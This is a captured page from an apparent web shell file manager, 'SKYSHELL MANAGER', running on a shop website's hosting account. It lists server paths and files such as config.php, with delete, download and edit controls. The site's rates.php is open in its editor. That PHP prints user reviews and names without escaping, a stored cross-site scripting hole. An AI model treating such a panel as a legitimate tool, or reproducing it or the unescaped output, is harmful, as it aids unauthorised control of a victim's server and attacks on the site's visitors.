📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
325.74 KB
0644
🗑️
⬇️
✏️
🔒
Editing: rates.php
<?php include "header.php"; include "rate.php"; if($active_log=="0"){ $_SESSION['previous_page'] = $_SERVER['REQUEST_URI']; header("location:signin.php#login"); } else{} ?> <!-- Page Header Start --> <div class="container-fluid bg-secondary mb-5"> <div class="d-flex flex-column align-items-center justify-content-center" style="min-height: 200px; padding:0; margin:0;"> <h1 class="font-weight-semi-bold text-uppercase mb-3">RATES AND REVIEWS</h1> <div class="d-inline-flex"> <p class="m-0"><?php echo $homepage; ?></p> </div> </div> </div> <!-- Page Header End --> <style> p{ font-weight:500; font-size:16px; } h4{ color:black; } p span{ color:#FF339A; font-weight:500; } .btn{ color:white; } .rating { unicode-bidi: bidi-override; direction: rtl; } .rating input { display: none; } .rating label { display: inline-block; cursor: pointer; color: #ccc; font-size:24px; } .rating label:before { content: "\2605"; } .rating input:checked ~ label { color: #FF339A; } .ratings{ color: #FF339A; } </style> <div class="row px-xl-5 pb-3 justify-content-center" style="padding:20px;"> <p><a href="#sendus" class="btn btn-primary w-100">Click here to rate and review us</a></p> <div class="col-12"> <div class="card" style="width: 100%;"> <ul class="list-group list-group-flush"> <?php $sqla = "SELECT reviews.*, users.name FROM reviews JOIN users ON reviews.user = users.id WHERE reviews.status = 'active' ORDER BY reviews.s DESC"; $sql2a = mysqli_query($con,$sqla); while ($rows = mysqli_fetch_array($sql2a)) { $date=$rows['date']; $r_count=$rows['rating']; $formattedDate = date('d, F Y', strtotime($date)); echo' <li class="list-group-item"> <div> <span style="float:right;"><p class="ratings">'; for ($i = 1; $i <= $r_count; $i++) { echo "★"; // Output star icon } echo'</p></span> <h6 class="text-primary">'.$rows['name'].'</h6> <h6 class="text-dark">'.$formattedDate.'</h6><p> '.$rows['review'].'</p> </div> </li>'; }?> </ul> </div> </div> <div class="col-12" id="sendus" style="margin-top:10%;"> <H4>SEND US A REVIEW TODAY</H4> <p>Give us a review about our services and products,we would love to hear from you</p> <form method="post" enctype="multipart/form-data"> <p><label>Rate us out of a 5</label> <div class="rating"> <input type="radio" id="star5" name="rating" value="5" required/> <label for="star5" title="5 stars"></label> <input type="radio" id="star4" name="rating" value="4" required/> <label for="star4" title="4 stars"></label> <input type="radio" id="star3" name="rating" value="3" required/> <label for="star3" title="3 stars"></label> <input type="radio" id="star2" name="rating" value="2" required/> <label for="star2" title="2 stars"></label> <input type="radio" id="star1" name="rating" value="1" required/> <label for="star1" title="1 star"></label> </div></p> <p><textarea class="form-control" name="review" type="text" placeholder="Write us a review here" required></textarea></p> <p><button type="submit" name="rate" value="log" class="btn btn-primary">Submit Review</button></p> </form> </div> </div> <!-- Products End --> <?php include "footer.php"; ?>
💾 Save Changes